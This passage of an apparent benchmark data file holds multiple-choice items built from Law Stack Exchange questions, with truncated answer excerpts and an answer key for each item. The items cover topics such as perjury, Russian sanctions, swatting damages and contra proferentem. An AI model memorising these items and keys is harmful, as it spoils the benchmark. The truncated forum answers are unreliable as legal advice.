satisfactory answer here. But here's the short version: Different systems operate on different assumptions. Your question suggests you are not a retributivist, i.e., someone who views sentencing as a means for taking retribution for the criminal's offenses. Some systems (most, I imagine) are built around that idea, but some view criminal sentencing primarily as a means of preventing recidivism, or as a means for achieving rehabilitation, the interests you indicated you see..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/51213/can-a-soldier-refuse-to-carry-a-weapon"} {"id": "law_57028", "domain": "law", "question_title": "Is the typo in the 25th amendment significant?", "question_body": "The fourth section of the 25th amendment to the US constitution provides for the president to be declared unfit involuntarily. The first of its two paragraphs describes the declaration itself, made by the vice president along with \"a majority of either the principal officers of the executive departments or of such other body as Congress may by law provide.\" The second paragraph describes a mechanism for the president to resume the \"powers and duties\" of the office by declaring \"that no inability exists.\" This paragraph also establishes a mechanism for \"the Vice President and a majority of either the principal officers of the executive department or of such other body as Congress may by law provide\" to challenge the president's declaration. This question is about the difference in the designation of those whose action is required along with the vice president. The first paragraph uses the word \"departments,\" plural, and the second uses \"department,\" singular. I suppose that the second paragraph was added during the debates on the amendment, and that the use of the singular in the second paragraph is probably an error. Would courts be likely conclude that the difference is unintentional? If not, does the use of the singular change the meaning of the phrase significantly? I am especially interested in answers that look at the the legislative history of the amendment to support or refute the hypothesis that the second paragraph was an addition to the original form of the text. As far as I can tell, the relevant congressional documents are not available online for the 1960s.", "question_score": 39, "question_tags": ["united-states", "us-constitution", "interpretation"], "choices": {"A": "Most leases have a provision allowing a landlord to make entry without notice in an emergency, but the better course of action, as noted in a comment by @BlueDogRanch, is to call the police and ask them to make a \"welfare check.\" You would ordinarily be permitted to cooperate with police by unlocking doors in furtherance of their welfare check. The police are trained to do this properly in a way that properly balances the need to aid someone who is sick or ill, the need to preserve evidence if there was a death or crime that needs to be...", "B": "In order to accommodate various objections that have arisen in recent generations, in general: You are allowed to \"affirm\" instead of \"swear\" You do not have to say \"so help me God\" You do not have to place your hand on a Bible or any object These variances are often allowed by statute. A witnessed \"solemn affirmation\" has the same legal consequences as the traditional swearing on a Bible: I.e., you would be held to the same statutes and rules that apply to sworn statements.", "C": "Prologue , a magazine published by the National Archives, had an article about the missing S back in 2012. In short, the problem was due to a scrivener's error. Congress recognized the error at roughly the same time it submitted the amendment to the states but decided it was too late to fix it: There was a brief discussion of the possibility of recalling the joint resolution for reconsideration in each chamber, but Congress was operating under severe time pressures as it worked toward adjournment for the summer, and it was decided that the record of congressional debates and actions...", "D": "Assuming U.S. Jurisdiction: In the case of The People vs. Hansel and Gretel Holzfaller: Ms. Gretel Holzfaller is charged with the following: 1 Count of Murder in the First Degree (Murder of Ms. Witch Hazel) 1 Count of Grand Larceny (Theft of precious metals and jewels from Ms. Hazel) 1 Count Petty Theft (Theft of Candy) 1 Count of Vandalism (Bite marks left in Gingerbread Masonry) 1 Count Trespassing Mr. Hansel Holzfaller is charged with the following: 1 Count of Accessory to Murder 1 Count of Grand Larceny 1 Count Petty Theft 1 Count of Vandalism 1 Count Trespassing Ms...."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/57028/is-the-typo-in-the-25th-amendment-significant"} {"id": "law_58103", "domain": "law", "question_title": "Is it a real legal principle that any ambiguity in a contract is interpreted to the benefit of the side that did not write the contract?", "question_body": "I have heard that there is a legal principle where any ambiguity in the contract is interpreted to the benefit of the side that did not draw up or suggest the contract text . This was presented to me somewhat anecdotally, but sounded reasonable - so I'm not sure what to make of it. Is there any such or similar thing, formalized to any degree? I'd prefer an answer in the context of both Common and Continental law.", "question_score": 39, "question_tags": ["civil-law", "common-law", "legal-concepts"], "choices": {"A": "Technically anyone can sit on a jury. Lawyers are not automatically excluded from juries anymore, as being called for jury duty is a right and a duty that the law abhors automatically excluding people from. That is the official line on this. However, in reality, lawyers will always be stricken from serving by one of the lawyers trying the case. Each lawyer has a certain number of preemptory strikes (the ability to get rid of a juror for any reason, aside from those protected by law, such as race, religion, etc). They also have unlimited \"for cause strikes,\" which are...", "B": "Contra proferentem However, it's a principle that is rarely applied in practice since it's at the end of a long line of judicial reasoning that gets applied first. Ambiguity in contract provisions are usually resolved by the golden rule : Determine the ordinary and natural meaning of the words used Consider the context of the contract including its purpose, any \"recitals\" or \"background\" clauses and other relevant provisions If the ordinary and natural meaning is inconsistent with the context or gives rise to absurdities, modify the meaning as appropriate. In the vast majority of case, this approach will give a...", "C": "It is legal, at least in the US, for a store (or other entity) to refuse to sell any item to any individual for any non-prohibited reason (prohibited reasons are typically things like race or religion). More over, in various US jurisdictions, it is prohibited to \"furnish\" alcohol to a \"minor\" (for example, under California's ABC law), which can be interpreted as prohibiting to an adult if they reasonably suspect that adult will pass the alcohol onto the \"minor\". This is to prevent \"straw\" sales. Additionally, larger chains generally prefer to have harmonized policies across branches, and where practical, across...", "D": "Short Answer Applicants are required by military regulation to have a percentile score on a standardized test called the ASVAB that is 31 or more, which is roughly comparable to an IQ score on the Stanford-Binet scale of a little bit less than 92, for high school graduates seeking to enter the Army or Navy (other services have more strict requirements and applicants with only a GED or to the national guard must have an ASVAB score in the 50th percentile which is equivalent to an IQ of 100). But, U.S. law allows the Department of Defense to allow people..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/58103/is-it-a-real-legal-principle-that-any-ambiguity-in-a-contract-is-interpreted-to"} {"id": "law_63838", "domain": "law", "question_title": "What is the legal distinction between Twitter banning Trump and Trump blocking individuals?", "question_body": "For reference, this recent NPR article contains all of the information that inspired this question. The lawsuits referenced in the above article center on then-President Trump blocking individual users on Twitter from interacting with or seeing his tweets. Lower courts apparently ruled that Trump's twitter feed is essentially a public forum, and therefore, blocking users was unconstitutional because it amounted to viewpoint discrimination. There haven't been (as far as I know) any lawsuits against Twitter for their banning of Trump while he was President. Clearly, any such lawsuits would likely be ruled moot now, but it stands to reason that if Trump isn't allowed to prevent people from interacting with him on social media, then Twitter shouldn't be allowed to prevent people from interacting with him either. One possible distinction here is that Twitter wasn't practicing viewpoint discrimination since they effectively blocked everyone from interacting with President Trump without regard to viewpoint. However, if the President's presence turns a social media account into a public forum, then preventing the president from having an account seems to be a form of viewpoint discrimination in itself. Really, the whole thing is very strange since it seems to suggest that Twitter (a private company) has control over whether or not certain public fora are allowed to exist. To me, that sounds like those fora were never really \"public\" at all (meaning Trump should be able to block people from his personal account), or if they were, then Trump's viewpoint was being discriminated against and Twitter has an obligation as the purveyor of this public forum to protect his rights. Why are Trump blocking individuals on Twitter and Twitter effectively blocking everyone for Trump by banning him treated differently under the law?", "question_score": 39, "question_tags": ["constitutional-law", "freedom-of-speech", "us-federal-government", "first-amendment", "social-media"], "choices": {"A": "Most leases have a provision allowing a landlord to make entry without notice in an emergency, but the better course of action, as noted in a comment by @BlueDogRanch, is to call the police and ask them to make a \"welfare check.\" You would ordinarily be permitted to cooperate with police by unlocking doors in furtherance of their welfare check. The police are trained to do this properly in a way that properly balances the need to aid someone who is sick or ill, the need to preserve evidence if there was a death or crime that needs to be...", "B": "No Parliament is sovereign : Parliamentary sovereignty is a principle of the UK constitution. It makes Parliament the supreme legal authority in the UK, which can create or end any law. Generally, the courts cannot overrule its legislation and no Parliament can pass laws that future Parliaments cannot change . Parliamentary sovereignty is the most important part of the UK constitution.", "C": "Trump was an officer of the government, and Twitter wasn't. The First Amendment forbids the government and its agents from viewpoint discrimination, but private companies are not bound by it and can discriminate as much as they please. (There was a question as to whether such discrimination might affect whether the company enjoys a shield from liability under 47 USC 230 , but even so they have the right to block and censor as they wish if they are willing to risk that liability.)", "D": "Think through the logical combinations of two questions: The government is tyrannical or just, the revolution is successful or not. Tyrannical government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Just government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Tyrannical government, revolution not successful: The legal system will find the justified attempt illegal (because they are the legal system defending a tyrannical government), the would-be revolutionaries are persecuted. Just government, revolution..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/63838/what-is-the-legal-distinction-between-twitter-banning-trump-and-trump-blocking-i"} {"id": "law_76594", "domain": "law", "question_title": "If you are a lawyer of a thief, drug dealer, or human trafficker, what would you tell your client to tell IRS?", "question_body": "I read this in 9gag. So what should we do if we are in this situation? If thieves and criminals can just say I have this income and don't tell the source, can legitimate businessmen do the same?", "question_score": 39, "question_tags": ["tax-law"], "choices": {"A": "Public nudity is illegal in New York as it is in almost every U.S. jurisdiction. And, if the police had arrested the nude protesters, the arrests probably would have been upheld in court, because a ban on nudity in public would probably be viewed as a time, place and manner restriction on the freedom of speech which is constitutionally valid. For example, the Ninth U.S. Circuit Court of Appeals recently upheld San Francisco’s public nudity ordinance in Taub v. City and County of San Francisco (2017). As the court in that case explains in a factually very similar case: Public...", "B": "NAL, but I used to work for the IRS. GS-0592-08, AUSC W/I CSCI (for non-feds, that means General Sector, series 0592 grade 8, Tax Examiner, Austin Service Center, Division -> Wage & Investment, Section -> Collections Services and Compliance Operations. Yeah, no joke.) And I wanted to add some insider insight to help clarify some of the thoughts already shared here. First off, I feel like clarification is needed because lay people get especially confused about this very, very easily: the IRS is an agency exactly like the FBI, except the IRS falls under the US Dept of Treasury and...", "C": "Think through the logical combinations of two questions: The government is tyrannical or just, the revolution is successful or not. Tyrannical government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Just government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Tyrannical government, revolution not successful: The legal system will find the justified attempt illegal (because they are the legal system defending a tyrannical government), the would-be revolutionaries are persecuted. Just government, revolution...", "D": "Through the legal doctrine of \"transferred intent\", wherein if one intends to murder A, and undertake actions to kill A, but one's actions kill B, one has murdered B. Whatever crimes one would have committed, had one performed them on one's intended target, are considered committed against the individual one actually performed them on. Many crimes require one to have mens rea to be guilty; they do not require one to have mens rea towards a given individual. So, so long as one had the proper intent to murder someone, the actual victim of their actions is irrelevant."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/76594/if-you-are-a-lawyer-of-a-thief-drug-dealer-or-human-trafficker-what-would-you"} {"id": "law_78272", "domain": "law", "question_title": "Legality of penalising Russian Oligarchs", "question_body": "What is the legal basis for penalising individual Russian Oligarchs? Having ill-gotten wealth and dubious friends is hardly unique to Russia, and whilst I can understand with the desire of the Western / European powers to been seen to be doing something I can't see the legal basis of confiscating their assets. If they really are just a bunch of crooks why have they been swanning around the free-world for the last 25 years? What have they done in the last nine-days which suddenly justifies personal sanctions against them? As far as I know most of them don't hold any current positions of power/authority in Russia (not officially anyhow). Whilst I broadly accept the consensus that they're Putin's cronies who owe much of their current success to their past associations with him, and whilst I'd personally be delighted to see their money go to support Ukrainian refugees I can't actually see a good legal argument for sanctions other than 'guilt by association' - which probably wouldn't stand up in court.", "question_score": 39, "question_tags": ["united-kingdom", "european-union"], "choices": {"A": "In the UK Armed Forces, conscientious objection is grounds for a refusal at the admission stage and has been since the end of conscription in 1963. Where a person develops an objection to military service during their term of service, they have the option to appeal for a discharge. Interestingly there's no primary legislation to manage this process but there are established military procedures to take care of this when it happens. Mostly the process seems to be managed informally , with the objector simply being shuffled into a non-combatant role within their regiment and just left there for the...", "B": "In the united-kingdom , the legal basis flows from the Sanctions and Anti-Money Laundering Act 2018 . This allows regulations to be made for particular sanctions regimes, in this case The Russia (Sanctions) (EU Exit) Regulations 2019 and its several amendments, including three revisions this year. Under those regulations, the Secretary of State may designate individuals who are then subject to particular sanctions. A consolidated list is available for all individuals and organizations who have been named under any of the regulations, not just the Russia one. Working backwards from the list, we see such names as Vladimir Putin, who...", "C": "Technically anyone can sit on a jury. Lawyers are not automatically excluded from juries anymore, as being called for jury duty is a right and a duty that the law abhors automatically excluding people from. That is the official line on this. However, in reality, lawyers will always be stricken from serving by one of the lawyers trying the case. Each lawyer has a certain number of preemptory strikes (the ability to get rid of a juror for any reason, aside from those protected by law, such as race, religion, etc). They also have unlimited \"for cause strikes,\" which are...", "D": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/78272/legality-of-penalising-russian-oligarchs"} {"id": "law_90806", "domain": "law", "question_title": "Do the Ohio sheriffs suing Afroman have any legal standing in their claim of "invasion of privacy and misappropriation of their likenesses" lawsuit?", "question_body": "From this article “Afroman Sued by Sheriffs for Allegedly Profiting from Raid on his Home . Afroman is reportedly being sued by a number of Ohio sheriff deputies for allegedly profiting off the raid they conducted on his home last summer. The Adams County Sheriff’s Department ran up on Afroman’s home last August, where officers searched for illegal narcotics but failed to find anything. Afroman filmed the entire raid via his security cameras, and in the months since the raid has compiled the footage together to turn it into a music video called “Will You Help Me Repair My Door.” This has reportedly upset the Ohio sheriff’s deputies involved in the raid as they believe Afroman to be profiting off their hard work. In turn, the police are suing for invasion of privacy and misappropriation of their likenesses, and are claiming the music video has caused them emotional distress, ridicule, humiliation, loss of reputation and embarrassment. “My house is my property, my video camera films, everything on my property as they begin, stealing my money, disconnecting plus destroying my video camera system, they became my property,” Afroman said. “Criminals caught in the act, of vandalizing and stealing money. My video footage is my property. I used it to identify the criminals who broke into my house, and stole my money. I used it to identify criminals, who broke into my house, stole my money and disconnected my home security system.” Do the Ohio sheriffs suing Afroman have any legal standing in their claim \"invasion of privacy and misappropriation of their likenesses\" lawsuit?", "question_score": 39, "question_tags": ["united-states", "privacy", "first-amendment", "ohio", "right-of-publicity"], "choices": {"A": "The deputies have standing, but they're probably going to lose. \"Standing\" is just a legal principle that limits the legal process to people who have suffered certain types of injuries. Jen's answer offers a good explanation of why the answer is yes, they do have standing. But I assume you're less interested in whether the officers are capable of bringing the case than in whether their case is likely to succeed. The answer to that is no. Claim 1 alleges a violation of Ohio's right-of-publicity statute. But that statute includes a carveout for any \"use of the persona of an...", "B": "The answer from @user6726 is a good one. But, I'd like to add to it by pointing out that the body of law applicable to an individual is usually much, much smaller than the entire body of law. I'm a lawyer who has been in private practice for almost 25 years with an extremely diverse practice compared to the average lawyer, and I've never even looked at perhaps 80% of the laws on the books in the states where I practice, and even less elsewhere. By statutory and regulatory volume, the vast majority of statutory and regulatory law is applicable...", "C": "Assuming U.S. Jurisdiction: In the case of The People vs. Hansel and Gretel Holzfaller: Ms. Gretel Holzfaller is charged with the following: 1 Count of Murder in the First Degree (Murder of Ms. Witch Hazel) 1 Count of Grand Larceny (Theft of precious metals and jewels from Ms. Hazel) 1 Count Petty Theft (Theft of Candy) 1 Count of Vandalism (Bite marks left in Gingerbread Masonry) 1 Count Trespassing Mr. Hansel Holzfaller is charged with the following: 1 Count of Accessory to Murder 1 Count of Grand Larceny 1 Count Petty Theft 1 Count of Vandalism 1 Count Trespassing Ms....", "D": "Through the legal doctrine of \"transferred intent\", wherein if one intends to murder A, and undertake actions to kill A, but one's actions kill B, one has murdered B. Whatever crimes one would have committed, had one performed them on one's intended target, are considered committed against the individual one actually performed them on. Many crimes require one to have mens rea to be guilty; they do not require one to have mens rea towards a given individual. So, so long as one had the proper intent to murder someone, the actual victim of their actions is irrelevant."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/90806/do-the-ohio-sheriffs-suing-afroman-have-any-legal-standing-in-their-claim-of-in"} {"id": "law_91096", "domain": "law", "question_title": "Can you make the police department pay for damage done to your property if you get swatted?", "question_body": "For purposes of conjecture, say some nameless online troll decides that they hate you. Perhaps you said you don't worship the members of a K-Pop band they like. As a result, they do some research and find your address. They then proceed to call your local police department, reporting a (fictional) hostage situation / homicide in progress / etc. at your address. The police department's SWAT team busts down your door and trashes your house. This is a \"prank\" called swatting . As is the troll's intention, it causes a lot of damage to your property, damage you can't afford to get repaired. Is there any way to get the police department to pay for the damage? After all, they did just come and trash your house despite you having done nothing wrong (besides the horrendous crime of not worshiping the troll's favorite band).", "question_score": 39, "question_tags": ["united-states"], "choices": {"A": "There is precedent for the idea that double jeopardy need not apply when the initial trial was a sham because the judge and/or jury had been bribed. See Aleman v. Judges of Cook County Circuit Court , 138 F.3d 302 (7th Cir. 1998) . This case was very similar to your hypothetical: Aleman was initially acquitted of a murder, but years later it came to light that he had bribed the judge (in a bench trial). He was retried and convicted in state court. He appealed his conviction on the grounds of double jeopardy, but the Seventh Circuit denied his...", "B": "There is a police power exception to the 5th and 14th Amendment rights to not taking property without due process of law and just compensation. In a similar case arising in Greenwood Village, Colorado , an innocent homeowner was denied any relief at trial in the U.S. District Court for the District of Colorado, or on appeal to the 10th Circuit, after his house was trashed by SWAT teams trying to catch a guy accused of mere theft and fleeing police officers. (The U.S. Supreme Court declined to review the case sometime after the linked article was written.) But, there...", "C": "Maybe, Hence the Lawsuits In the absence of clear statute law these all circle around tort law. For the scooter companies, trespass to chattels , and for the affected landowners (who hire the removalists) trespass to land and nuisance seem applicable. In essence, I can’t take your stuff (trespass to chattels) but you can’t leave your stuff on my property (trespass to land) or impeding access to it (nuisance). If you do, I am entitled to the reasonable costs of dealing with it. Note that, as owner, you remain responsible for you stuff even if you rented it to someone...", "D": "Legally speaking, very many nations grant asylum, and religious persecution is one of the most basic grounds for granting asylum, following the 1951 Refugee Convention . This newspaper article compares asylum statistics in Ireland versus other parts of Europe. The Irish immigration authorities spell out the details for an asylum application. Note that you must already be in Ireland, to apply for asylum in Ireland (you should apply when you enter the country). One could also apply to Norway (almost an English-speaking country), but again you have to be in Norway to do so. There is a generic solution to..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/91096/can-you-make-the-police-department-pay-for-damage-done-to-your-property-if-you-g"} {"id": "law_101275", "domain": "law", "question_title": "Is it stealing if three books are allowed to be taken for free and I take more?", "question_body": "There is a charity shop, which sells nothing but gives books away for free. They do accept optional donations of money, and any books donations so they have more books to give away for free. Upon entering the charity shop, there is a sign saying that only a maximum of three books may be taken per visit. Assume someone visiting the shop knowingly takes more than three books, without being caught at the time, but is discovered a short period of time later on CCTV. In England and Wales, would this be a Criminal Offence or a Civil Matter?", "question_score": 39, "question_tags": ["united-kingdom", "criminal-law", "england-and-wales"], "choices": {"A": "The third Geneva convention says in its second article (emphasis added): the present Convention shall apply to all cases of declared war or of any other armed conflict which may arise between two or more of the High Contracting Parties, even if the state of war is not recognized by one of them. The Convention shall also apply to all cases of partial or total occupation of the territory of a High Contracting Party, even if the said occupation meets with no armed resistance. The violence in Ukraine qualifies for at least two reasons: it is an armed conflict between...", "B": "By Army regulations, no, he's not allowed to wear that uniform. Prince Harry technically isn't a \"retired officer\". Rather, he resigned his commission in the Army, effective 19 June 2015. See the London Gazette for 11 August 2015, Supplement 61319, page 14838 , under \"Captain H. C. A. D. WALES 564673\". According to the Army Dress Regulations 02.45a (page 101 of the PDF), \"It is to be noted that those who resigned their commissions are not authorised to wear uniform under any circumstances.\" Moreover, under the Uniforms Act 1894 : (1)It shall not be lawful for any person not serving...", "C": "This has been prosecuted criminally, in the scenario of people taking a huge pile of \"free\" newspapers to sell for recycling. See coverage in the Independent from 16 February 2019. Some previous prosecutions against the same or similar groups had been dropped but this one succeeded. While copies of the Evening Standard are given away for free at train stations, the big stack of them is still somebody's property, and the socially expected arrangement is that a member of the public will take just one, rather than the lot. The reason they are being offered is to achieve a wide...", "D": "Parliamentary Supremacy was established by the Glorious Revolution of 1688 in which James II & VII was deposed by Parliament, and the line of succession was changed by Act of Parliament to favor William and Mary. Key laws passed during the aftermath of the Revolution included the Declaration of Right (which forbade keeping a standing army without Parliamentary consent, and put control of the military in Parliament), and the Coronation Oath Act 1688 which established in law obligations of the monarch. Since 1688 it has remained the governing principle of English (later British and UK) law that ultimate authority lies..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/101275/is-it-stealing-if-three-books-are-allowed-to-be-taken-for-free-and-i-take-more"} {"id": "law_4755", "domain": "law", "question_title": "What if I say "this statement is false" while under oath?", "question_body": "Let's say I am in a court proceeding, and then make swear to tell the truth, the whole truth, and nothing but the truth. I tell the judge I would like to make an opening remark, he says yes, and I say \"My opening remark is a false statement.\" What happens to me? If they claim that my statement is false and try to prosecute me, then it is in fact not false, and they cannot prosecute. If they claim my statement is true, then it is in fact false, and they cannot not prosecute me. What happens?", "question_score": 38, "question_tags": ["rules-of-court"], "choices": {"A": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing...", "B": "Trump was an officer of the government, and Twitter wasn't. The First Amendment forbids the government and its agents from viewpoint discrimination, but private companies are not bound by it and can discriminate as much as they please. (There was a question as to whether such discrimination might affect whether the company enjoys a shield from liability under 47 USC 230 , but even so they have the right to block and censor as they wish if they are willing to risk that liability.)", "C": "Assuming U.S. Jurisdiction: In the case of The People vs. Hansel and Gretel Holzfaller: Ms. Gretel Holzfaller is charged with the following: 1 Count of Murder in the First Degree (Murder of Ms. Witch Hazel) 1 Count of Grand Larceny (Theft of precious metals and jewels from Ms. Hazel) 1 Count Petty Theft (Theft of Candy) 1 Count of Vandalism (Bite marks left in Gingerbread Masonry) 1 Count Trespassing Mr. Hansel Holzfaller is charged with the following: 1 Count of Accessory to Murder 1 Count of Grand Larceny 1 Count Petty Theft 1 Count of Vandalism 1 Count Trespassing Ms....", "D": "See 18 U.S.C. s. 1621 (a) . Perjury only relates to material matter . In my opinion, your little logical paradox isn't material. You might be scolded by the judge to stay on point. If you keep doing it, you'll be held in contempt of court ."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/4755/what-if-i-say-this-statement-is-false-while-under-oath"} {"id": "law_33084", "domain": "law", "question_title": "I fancy myself an amateur lawyer. Can I represent someone in court, in the state of Maryland?", "question_body": "I live in Montgomery County Maryland. I am not a lawyer. But I have significant legal experience. I have successfully sued people, watched many trials, I have successfully won dozens of trials for my own traffic violations. And I'm a former state legislator. So I have read and argued about lots of legislation. Sometimes I feel like an amateur lawyer myself. And a pretty darn good one at that. My father recently received a ticket from an automated-traffic-enforcement system because he made a right turn without coming to a full stop. The fine is $75. But he doesn't want to pay it and I don't want him to pay it. It's more the principle of the matter than the fine amount. Because of my extensive experience litigating traffic trials, I want to represent my father in his trial. But as I mentioned above, I am not a licensed attorney. Can I represent him nonetheless? When the judge goes through the docket and calls his case, can I stand up and say, \"Your Honor, I'm here representing Mr. Ali in this case?\" Or will I get in trouble for doing so? This case is in the District Court of Maryland in Montgomery County.", "question_score": 38, "question_tags": ["united-states", "maryland", "unlicensed-practice", "legal-representation"], "choices": {"A": "Yes, it's illegal You are missing something terribly important: The package might not be your property [yet]. In any way, it is not in your possession, while it is in the hands of the postal service! The contents of the package started fully owned by the sender and were entrusted to the postal service to deliver it. This entrustment is (contractually) defined as the time it is handed to the postal service, but the postal service does not gain any ownership. They do however have insurance on the parcel (to some degree), as they are liable for the loss of...", "B": "Yes. Let's assume this anecdote takes place while Gates was CEO. Bill Gates doesn't own all of Microsoft, and as an officer of the company, he owes a fiduciary duty to act in the best interests of the company and its shareholders as a whole. Taking the company's property for personal use breaches that fiduciary duty . Now, in this particular hypothetical, Gates might have a decent argument that, as a public figure who can afford any piece of technology he desires, him being seen using a Microsoft Surface actually is acting in the company's best interests. But that wouldn't...", "C": "An essential component of your contract with them is that they will provide you with food free of animal stuff (the exact nature of \"vegan approved\" may be up for debate, but actual meat should not be included). So they breached their contract with you, and you might sue them for breach of contract. The case of Gupta v. Asha (orders were mixed up) could be useful in this matter. In this case, Hindus were served samosas containing beef, despite repeated assertions that they were vegetarian. Plaintiffs sued, the case was dismissed, and the appeals court deemed that the lower...", "D": "If you are not a member of the Bar of Maryland, you may not \"practice, attempt to practice, or offer to practice law in the State unless admitted to the Bar.\" Maryland Business Occupations and Professions § 10-601 . \"Practicing law\" includes \"representing another person before a unit of the State government or of a political subdivision.\" Maryland Business Occupations and Professions § 10-101 . \"[A] person who violates § 10-601 of this subtitle is guilty of a misdemeanor and on conviction is subject to a fine not exceeding $5,000 or imprisonment not exceeding 1 year or both.\" Maryland Business..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/33084/i-fancy-myself-an-amateur-lawyer-can-i-represent-someone-in-court-in-the-state"} {"id": "law_48317", "domain": "law", "question_title": "Is ban evasion illegal?", "question_body": "What is the legality of \"Ban Evasions\"? This sounds like a dumb question but perhaps enlighten the ignorant. Ban Evasion, \"The creation of a new account on a platform or website after being previously banned for ToS violations\". In 2018, the 9th Circuit court of appeals ruled that violating the ToS isn't a crime, but does that still cover Ban Evasion? An example would be, say, Jody had an account with a very popular video sharing platform, he broke the rules and had his account suspended permanently. He learns from those mistakes (because we all make mistakes in our lives), and recreate a brand new account, despite it being written in the ToS that you cannot make a brand new account. He does so regardless, makes a new account, but then gets banned again for Ban Evasion, despite not violating any other rules, Would this be considered a criminal offense? Big companies (or companies in general) will most likely not care, because it's not worth the legal fees to pursue such a case, and it's better off making it harder to ban evade, or write better rules, but regardless, Did Jody commit a crime, whether on state level, or federal level? (In the United States at least).", "question_score": 38, "question_tags": ["united-states", "criminal-law", "terms-of-service", "cfaa"], "choices": {"A": "Public nudity is illegal in New York as it is in almost every U.S. jurisdiction. And, if the police had arrested the nude protesters, the arrests probably would have been upheld in court, because a ban on nudity in public would probably be viewed as a time, place and manner restriction on the freedom of speech which is constitutionally valid. For example, the Ninth U.S. Circuit Court of Appeals recently upheld San Francisco’s public nudity ordinance in Taub v. City and County of San Francisco (2017). As the court in that case explains in a factually very similar case: Public...", "B": "In theory, such an action could be considered a violation of the Computer Fraud and Abuse Act , specifically 18 USC 1030 (a)(2)(C): Whoever...intentionally accesses a computer without authorization or exceeds authorized access, and thereby obtains... information from any protected computer; Where the relevant \"protected computer\" definition is in the same section under (e)(2)(B): As used in this section...the term “protected computer” means a computer...which is used in or affecting interstate or foreign commerce or communication, including a computer located outside the United States that is used in a manner that affects interstate or foreign commerce or communication of the...", "C": "Assuming U.S. Jurisdiction: In the case of The People vs. Hansel and Gretel Holzfaller: Ms. Gretel Holzfaller is charged with the following: 1 Count of Murder in the First Degree (Murder of Ms. Witch Hazel) 1 Count of Grand Larceny (Theft of precious metals and jewels from Ms. Hazel) 1 Count Petty Theft (Theft of Candy) 1 Count of Vandalism (Bite marks left in Gingerbread Masonry) 1 Count Trespassing Mr. Hansel Holzfaller is charged with the following: 1 Count of Accessory to Murder 1 Count of Grand Larceny 1 Count Petty Theft 1 Count of Vandalism 1 Count Trespassing Ms....", "D": "The third Geneva convention says in its second article (emphasis added): the present Convention shall apply to all cases of declared war or of any other armed conflict which may arise between two or more of the High Contracting Parties, even if the state of war is not recognized by one of them. The Convention shall also apply to all cases of partial or total occupation of the territory of a High Contracting Party, even if the said occupation meets with no armed resistance. The violence in Ukraine qualifies for at least two reasons: it is an armed conflict between..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/48317/is-ban-evasion-illegal"} {"id": "law_48885", "domain": "law", "question_title": "Was it illegal for Nancy Pelosi to tear up her copy of the State of the Union address?", "question_body": "President Trump has claimed it was illegal for Nancy Pelosi to tear up her copy of his State of the Union address, as it was an official document. Is there any law stating that it is illegal to tear up official documents, and does this qualify under that law as an official document?", "question_score": 38, "question_tags": ["united-states", "congress"], "choices": {"A": "While there is an act that President Trump and his supporters are citing, titled the Presidential Records Act (PRA) , to accuse House Speaker Pelosi of breaking federal law, it is important to understand what actions the law accounts for. The act mandates that the President of the United States preserve records and other laws governing the federal government. This serves as a form of checks and balances to prevent the president and his advisers from shielding documentary information from public view. The act is fairly new, as it was passed in 1981. It is important to realize that this...", "B": "No Parliament is sovereign : Parliamentary sovereignty is a principle of the UK constitution. It makes Parliament the supreme legal authority in the UK, which can create or end any law. Generally, the courts cannot overrule its legislation and no Parliament can pass laws that future Parliaments cannot change . Parliamentary sovereignty is the most important part of the UK constitution.", "C": "An essential component of your contract with them is that they will provide you with food free of animal stuff (the exact nature of \"vegan approved\" may be up for debate, but actual meat should not be included). So they breached their contract with you, and you might sue them for breach of contract. The case of Gupta v. Asha (orders were mixed up) could be useful in this matter. In this case, Hindus were served samosas containing beef, despite repeated assertions that they were vegetarian. Plaintiffs sued, the case was dismissed, and the appeals court deemed that the lower...", "D": "The answer from @user6726 is a good one. But, I'd like to add to it by pointing out that the body of law applicable to an individual is usually much, much smaller than the entire body of law. I'm a lawyer who has been in private practice for almost 25 years with an extremely diverse practice compared to the average lawyer, and I've never even looked at perhaps 80% of the laws on the books in the states where I practice, and even less 